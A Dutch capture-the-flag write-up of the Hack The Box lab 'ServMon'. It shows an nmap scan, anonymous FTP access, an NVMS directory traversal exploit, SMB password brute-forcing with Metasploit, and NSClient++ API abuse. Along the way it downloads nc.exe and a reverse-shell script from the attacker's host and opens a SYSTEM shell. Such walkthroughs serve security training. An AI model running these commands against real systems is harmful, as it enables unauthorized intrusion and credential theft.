ServMon is een Easy Microsoft Windows box goed voor 20 punten. De slogan Monitoring is not protection doet zijn naam dan ook echt eer aan. Let’s do this!

[0x1] Reconnaissance & Enumeration
Stap 1 is het uitvoeren van een poort en service scan voor de machine. Aangezien het een Microsoft Windows machine is zijn er aardig wat RPC-poorten zichtbaar, maar ook enkele bekende poorten.
nmap -sC -sV -p- -T5 -oA servmon-allports 10.10.10.184 # Nmap 7.80 scan initiated Sun Apr 12 19:07:33 2020 as: nmap -sC -sV -p- -T5 -oA servmon-allports 10.10.10.184 Nmap scan report for 10.10.10.184 Host is up (0.024s latency). Not shown: 65516 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_01-18-20 12:05PM <DIR> Users | ftp-syst: |_ SYST: Windows_NT 22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) | ssh-hostkey: | 2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA) | 256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA) |_ 256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519) 80/tcp open http | fingerprint-strings: | GetRequest, HTTPOptions, RTSPRequest: | HTTP/1.1 200 OK | Content-type: text/html | Content-Length: 340 | Connection: close | AuthInfo: | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | <html xmlns="http://www.w3.org/1999/xhtml"> | <head> | <title></title> | <script type="text/javascript"> | window.location.href = "Pages/login.htm"; | </script> | </head> | <body> | </body> | </html> | NULL: | HTTP/1.1 408 Request Timeout | Content-type: text/html | Content-Length: 0 | Connection: close |_ AuthInfo: |_http-title: Site doesn't have a title (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5040/tcp open unknown 5666/tcp open tcpwrapped 6063/tcp open x11? 6699/tcp open napster? 7680/tcp open pando-pub? 8443/tcp open ssl/https-alt | fingerprint-strings: | FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: | HTTP/1.1 404 | Content-Length: 18 | Document not found | GetRequest: | HTTP/1.1 302 | Content-Length: 0 | Location: /index.html | workers |_ jobs | http-title: NSClient++ |_Requested resource was /index.html | ssl-cert: Subject: commonName=localhost | Not valid before: 2020-01-14T13:24:20 |_Not valid after: 2021-01-13T13:24:20 |_ssl-date: TLS randomness does not represent time 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC Host script results: |_clock-skew: 24s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-04-12T18:11:32 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Apr 12 19:11:29 2020 -- 1 IP address (1 host up) scanned in 236.52 seconds
Uit de poortscan komt een actieve tcp/21 poort naar voren die volgens de nap scan een FTP-service biedt met anonymous access. Dit is een goed startpunt om op onderzoek uit te gaan.
[0x2] Initial Access
Het aanmelden als anonymous werkt en ik heb toegang door middel van FTP.
ftp open 10.10.10.184 Connected to 10.10.10.184. 220 Microsoft FTP Service Name (10.10.10.184:user): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT.
De FTP-service geeft toegang tot een tweetal mappen van twee zogenaamde medewerkers.
ftp> dir 200 PORT command successful. 125 Data connection already open; Transfer starting. 01-18-20 12:05PM <DIR> Users 226 Transfer complete. ftp> cd Users 250 CWD command successful. ftp> dir 200 PORT command successful. 125 Data connection already open; Transfer starting. 01-18-20 12:06PM <DIR> Nadine 01-18-20 12:08PM <DIR> Nathan
De map van Nadine bevat een bestand met de naam Confidential.txt wat klinkt als een interessant bestand om te downloaden. Door middel van het get-command download ik het bestand naar mijn lokale machine.
ftp> cd Nadine 250 CWD command successful. ftp> dir 200 PORT command successful. 125 Data connection already open; Transfer starting. 01-18-20 12:08PM 174 Confidential.txt 226 Transfer complete. get confidential.txt local: confidential.txt remote: confidential.txt 200 PORT command successful. 125 Data connection already open; Transfer starting. 226 Transfer complete. 174 bytes received in 0.11 secs (1.5681 kB/s)
In de map van Nathan staat een to-do list. Vaak zijn hierin weer nieuwe hints te vinden die kunnen helpen bij de verdere zoektocht naar de root-flag. Ook dit bestand download ik om straks te bekijken.
ftp> cd Nathan 250 CWD command successful. ftp> dir 200 PORT command successful. 125 Data connection already open; Transfer starting. 01-18-20 12:10PM 186 Notes to do.txt 226 Transfer complete.
Het bestand confidential.txt geeft aan dat er een password.txt bestand bestaat in de Desktop map van Nathan en wordt er verwezen naar een “Secure folder”.
cat confidential.txt Nathan, I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder. Regards Nadine
Het bestand todo.txt geeft een aantal interessante hints naar het verdere verloop. Kennelijk draait er een applicatie NVMS die nog bereikbaar is voor iedereen en het wachtwoord van aangepast moet worden.
cat Notes\ to\ do.txt 1) Change the password for NVMS - Complete 2) Lock down the NSClient Access - Complete 3) Upload the passwords 4) Remove public access to NVMS 5) Place the secret files in SharePoint
NVMS gevonden op http://10.10.10.184

Het NVMS blijkt een Directory Traversal vulnerabilty te bevatten en via ExploitDB download ik de Python exploit. Hiermee kan ik het bestand Passwords.txt vanaf de Desktop van Nathan downloaden en lokaal opslaan.
python exploit.py http://10.10.10.184/Pages users/Nathan/Desktop/Passwords.txt Passwords.txt Directory Traversal Succeeded Saving Output
Niet 1 maar 6 wachtwoorden. Mogelijk werken ze niet allemaal, of hebben ze allemaal een andere functie.
cat Passwords.txt 1nsp3ctTh3Way2Mars! Th3r34r3To0M4nyTrait0r5! B3WithM30r4ga1n5tMe L1k3B1gBut7s@W0rk 0nly7h3y0unGWi11F0l10w IfH3s4b0Utg0t0H1sH0me
Ik gebruik de Metasploit scanner smb_login om op basis van het bestand met wachtwoorden te bekijken of ik via SMB kan aanmelden met de gebruikersnaam “nathan“. Uit de nmap scan kwam naar voren dat poort 445 open staat voor SMB.
msf5 > use auxiliary/scanner/smb/smb_login msf5 auxiliary(scanner/smb/smb_login) > set pass_file Passwords.txt pass_file => Passwords.txt msf5 auxiliary(scanner/smb/smb_login) > set smbuser nathan smbuser => nathan msf5 auxiliary(scanner/smb/smb_login) > set rhosts 10.10.10.184 rhosts => 10.10.10.184 msf5 auxiliary(scanner/smb/smb_login) > run
Tijdens het bruteforcen van de SMB login voor Nathan wordt er geen treffer gevonden. De wachtwoorden zijn niet van toepassing op dit account.
[*] 10.10.10.184:445 - 10.10.10.184:445 - Starting SMB login bruteforce [-] 10.10.10.184:445 - 10.10.10.184:445 - Failed: '.\nathan:1nsp3ctTh3Way2Mars!', [-] 10.10.10.184:445 - 10.10.10.184:445 - Failed: '.\nathan:Th3r34r3To0M4nyTrait0r5!', [-] 10.10.10.184:445 - 10.10.10.184:445 - Failed: '.\nathan:B3WithM30r4ga1n5tMe', [-] 10.10.10.184:445 - 10.10.10.184:445 - Failed: '.\nathan:L1k3B1gBut7s@W0rk', [-] 10.10.10.184:445 - 10.10.10.184:445 - Failed: '.\nathan:0nly7h3y0unGWi11F0l10w', [-] 10.10.10.184:445 - 10.10.10.184:445 - Failed: '.\nathan:IfH3s4b0Utg0t0H1sH0me', [-] 10.10.10.184:445 - 10.10.10.184:445 - Failed: '.\nathan:Gr4etN3w5w17hMySk1Pa5$', [*] 10.10.10.184:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Nogmaals een SMB bruteforce maar dan met het account van Nadine. Tijdens deze run komt er wel een treffer naar voren, namelijk: L1k3B1gBut7s@W0rk.
msf5 auxiliary(scanner/smb/smb_login) > set smbuser nadine smbuser => nadine msf5 auxiliary(scanner/smb/smb_login) > run [*] 10.10.10.184:445 - 10.10.10.184:445 - Starting SMB login bruteforce [-] 10.10.10.184:445 - 10.10.10.184:445 - Failed: '.\nadine:1nsp3ctTh3Way2Mars!', [-] 10.10.10.184:445 - 10.10.10.184:445 - Failed: '.\nadine:Th3r34r3To0M4nyTrait0r5!', [-] 10.10.10.184:445 - 10.10.10.184:445 - Failed: '.\nadine:B3WithM30r4ga1n5tMe', [+] 10.10.10.184:445 - 10.10.10.184:445 - Success: '.\nadine:L1k3B1gBut7s@W0rk' [*] 10.10.10.184:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
[0x3] User Flag
De gevonden credentials gebruik ik om te proberen aan te melden via SSH. Uit de nmap-scan kwam deze service naar voren. In dit geval is het een succesvolle login en kan ik op zoek naar nieuwe informatie.
ssh nadine@10.10.10.184 nadine@10.10.10.184's password: Microsoft Windows [Version 10.0.18363.752] (c) 2019 Microsoft Corporation. All rights reserved.
Eenmaal verbonden met de server kijk ik of er een user-flag te vinden is in het profiel van Nadine. Op haar desktop staat de user.txt.
nadine@SERVMON C:\Users\Nadine>cd Desktop nadine@SERVMON C:\Users\Nadine\Desktop>dir Volume in drive C has no label. Volume Serial Number is 728C-D22C Directory of C:\Users\Nadine\Desktop 08/04/2020 22:28 <DIR> . 08/04/2020 22:28 <DIR> .. 18/04/2020 11:57 34 user.txt 1 File(s) 34 bytes 2 Dir(s) 27,417,485,312 bytes free
Het account van Nadine heeft leesrechten op de file en hiermee is de user-flag binnen!
nadine@SERVMON C:\Users\Nadine\Desktop>type user.txt ec99b381bef3129dfa5824cef82b1c6c
[0x4] Root-flag
Tijdens het rondkijken in C:\Program Files\ kom ik een NSClient++ map tegen. Het eerder gevonden to-do lijstje gaf aan dat hier beveiliging op toegepast was. Tijdens het rondkijken in nsclient.ini vind ik een wachtwoord en na wat zoeken op ExploitDB vind ik een bekende kwetsbaarheid in deze versie van de monitoring Agent NSClient.
nadine@SERVMON C:\Program Files\NSClient++>type nsclient.ini ´╗┐# If you want to fill this file with all available options run the following command: # nscp settings --generate --add-defaults --load-all # If you want to activate a module and bring in all its options use: # nscp settings --activate-module <MODULE NAME> --add-defaults # For details run: nscp settings --help ; in flight - TODO [/settings/default] ; Undocumented key password = ew2x6SsGTxjRwXOT ; Undocumented key allowed hosts = 127.0.0.1 [......clip.....]
Vanuit de output van de nmap scan is zichtbaar dat er nog een website op poort 8443 draait.

Ik maak een tijdelijke map aan op de machine die ik later weer kan verwijderen. Hiermee zit ik geen andere personen in de weg. Vanaf mijn eigen machine biedt ik netcat.exe aan, en een script voor het opzetten van de reverse connection.
nadine@SERVMOND C:\ mkdir sys nadine@SERVMON C:\sys>powershell Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:\sys> PS C:\sys> Invoke-WebRequest -Uri "http://10.10.14.40:8080/nc.exe" -OutFile "C:\sys\nc.exe" PS C:\sys> Invoke-WebRequest -Uri "http://10.10.14.40:8081/nc_script.bat" -OutFile "C:\sys\nc_script.bat"
De eerste stap van de exploit is om mijn custom script met reverse connection te uploaden. Door middel van de API is het mogelijk om een eigen bat-bestand te uploaden naar de centrale scripts map op dezelfde server. Het wachtwoord voor de admin gebruiker heb ik uit de nsclient++ gehaald en komt hierbij van pas.
nadine@SERVMON C:\sys>curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/nc_script.bat --data-binary @nc_script.bat Enter host password for user 'admin': Added nc_script as scripts\nc_script.bat
Voordat ik het script ga uitvoeren start ik een Netcat Listener op mijn eigen machine op poort 1337.
rlwrap netcat -lvnp 1337 listening on [any] 1337 ...
De tweede stap van de exploit is het daadwerkelijk uitvoeren (execute) van het script dat ik eerder geupload heb. Ook hier gebruik ik hetzelfde wachtwoord.
nadine@SERVMON C:\sys>curl -s -k -u admin "https://localhost:8443/api/v1/queries/nc_script/commands/execute" Enter host password for user 'admin':
Het script wordt via de API aangeroepen en uitgevoerd. Direct hierna zie ik de reverse connection binnenkomen op mijn listener. Omdat de NSclient service als SYSTEM users draait, is de shell onder deze gebruiker gestart.
connect to [10.10.14.40] from (UNKNOWN) [10.10.10.184] 49882 Microsoft Windows [Version 10.0.18363.752] (c) 2019 Microsoft Corporation. All rights reserved. C:\Program Files\NSClient++>whoami nt authority\system C:\Program Files\NSClient++>hostname ServMon
In de Desktop-directory van de Administrator staat de root.txt en hiermee lijk ik de machine afgrond te hebben.
C:\Program Files\NSClient++>cd c:\users\administrator\desktop cd c:\users\administrator\desktop c:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 728C-D22C Directory of c:\Users\Administrator\Desktop 08/04/2020 23:12 <DIR> . 08/04/2020 23:12 <DIR> .. 19/04/2020 07:41 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 27,422,359,552 bytes free
Laatste stap, het weergeven van de root-flag en de ServMon op Hack The Box als geroot te bestempelen. Gotcha!
c:\Users\Administrator\Desktop>type root.txt type root.txt 1fb45c5963b0af52703933b40e68c728
Reageren